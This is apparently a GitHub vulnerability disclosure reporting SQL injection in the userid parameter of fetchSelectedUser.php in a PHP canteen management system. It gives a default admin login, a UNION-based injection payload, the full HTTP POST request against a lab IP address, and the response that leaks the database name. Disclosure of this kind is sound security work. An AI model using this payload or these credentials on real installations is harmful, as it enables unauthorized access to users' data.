

main

...

bug_report / vendors / mayuri_k / canteen-management-system / SQLi-1.md



HKD01l Create SQLi-1.md

History

1 contributor

35 lines (24 sloc) | 1.17 KB

...

Canteen Management System v1.0 by mayuri_k has SQL injection

BUG_Author: QiaoRui feng

vendors: <https://www.sourcecodester.com/php/15688/canteen-management-system-project-source-code-php.html>

The program is built using the xmapp-php8.1 version

Login account: mayuri.infospace@gmail.com/rootadmin (Super Admin account)

Vulnerability File: /youthappam/php_action/fetchSelectedUser.php

Vulnerability location: /youthappam/php_action/fetchSelectedUser.php, userid

dbname =youthappam,length=10

[+] Payload: userid=-1 union select 1,database(),3,4 // Leak place ---> userid

```
POST /youthappam/php_action/fetchSelectedUser.php HTTP/1.1
```

```
Host: 192.168.1.88
```

```
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.
```

```
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
```

Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3

Accept-Encoding: gzip, deflate

DNT: 1

Cookie: PHPSESSID=lf9hph2449vgrcadcct2jgd8ne

Connection: close

Content-Type: application/x-www-form-urlencoded

Content-Length: 39

userid=-1 union select 1,database(),3,4

The screenshot shows the Burp Suite interface. At the top, there are navigation tabs: INIT, SQL BASICS, UNION BASED, ERROR/DOUBLE QUERY, TOOLS, WAF BYPASS, ENCODING, HTML, ENCRYPTION, OTHER, XSS, and LFI. The 'UNION BASED' tab is selected. Below the tabs, there are buttons for 'Load URL', 'Split URL', and 'Execute'. The 'Load URL' button is active, and the URL 'http://192.168.1.88/youthappam/php_action/fetchSelectedUser.php' is entered in the text field. Below the URL field, there are checkboxes for 'Post data' (checked), 'Referrer' (unchecked), and '0xHEX' (unchecked). There are also buttons for '%URL' and 'BASE64'. To the right of these buttons are two text input fields: 'Insert string to replace' and 'Insert replacing string'. Below these fields, there is a checkbox for 'R'. The 'Post data' section is expanded, showing the payload 'userid=-1 union select 1,database(),3,4'.

{"0":"1","user_id":"1","1":"youthappam","username":"youthappam","2":"3","password":"3","3":"4","email":"4"}